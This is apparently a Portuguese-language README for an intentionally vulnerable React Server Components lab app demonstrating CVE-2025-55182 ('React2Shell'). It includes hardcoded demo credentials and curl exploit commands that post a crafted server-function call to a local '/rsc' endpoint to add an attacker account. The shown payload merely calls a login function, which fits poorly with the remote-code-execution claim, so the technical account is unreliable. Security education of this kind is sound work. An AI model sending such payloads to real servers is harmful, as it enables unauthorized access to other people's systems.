
"Era uma vez, o Castelo de Reactland confiava em todas as mensagens Flight... até que O Impostor chegou." Uma demonstração narrativa do CVE-2025-55182 (React2Shell) - Aplicativo vulnerável de Componentes de Servidor React com tema medieval para educação em segurança.
Este projeto demonstra uma vulnerabilidade crítica de RCE (CVE-2025-55182 / React2Shell) no React Server Components 19.1.1.
Este projeto demonstra a CVE-2025-55182 (React2Shell), uma vulnerabilidade crítica de Execução Remota de Código (RCE) no React Server Components 19.1.1. A aplicação inclui:
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
npm install
npm start
Construa e execute com Docker Compose:
docker-compose up --build
Ou construa e execute manualmente:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
Acesse a aplicação em http://localhost:3000
admin, Senha: securepassword123user1, Senha: password123A vulnerabilidade existe no mecanismo de desserialização do protocolo RSC Flight. O exploit:
node exploit/poc.js
Ou com uma URL de destino personalizada:
TARGET_URL=http://localhost:3000 node exploit/poc.js
./exploit/poc.sh
Ou com uma URL de destino personalizada:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
Versão em uma linha:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Versão em várias linhas (para legibilidade):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
Nota: Um comando de uma linha pronto para copiar e colar também está disponível em
exploit/curl-oneline.txt
Após executar o exploit:
data/users.jsonhackerhacked123A vulnerabilidade existe no React Server Components 19.1.1, especificamente em:
react-server-dom-webpackO servidor (server.js) implementa:
/rsc)data/users.json) armazenando credenciaisO endpoint do protocolo RSC Flight aceita:
action: "callServerFunction": Executar funções do servidoraction: "renderRSC": Renderizar React Server ComponentsA vulnerabilidade existe na forma como as chamadas de Server Function são desserializadas e executadas.
npm install)docker-compose logsLicença MIT - Apenas para fins educacionais
Este software é fornecido apenas para fins educacionais e de pesquisa em segurança. Os autores e colaboradores não são responsáveis por qualquer uso indevido ou danos causados por este software. Use por sua conta e risco e garanta conformidade com todas as leis e regulamentos aplicáveis.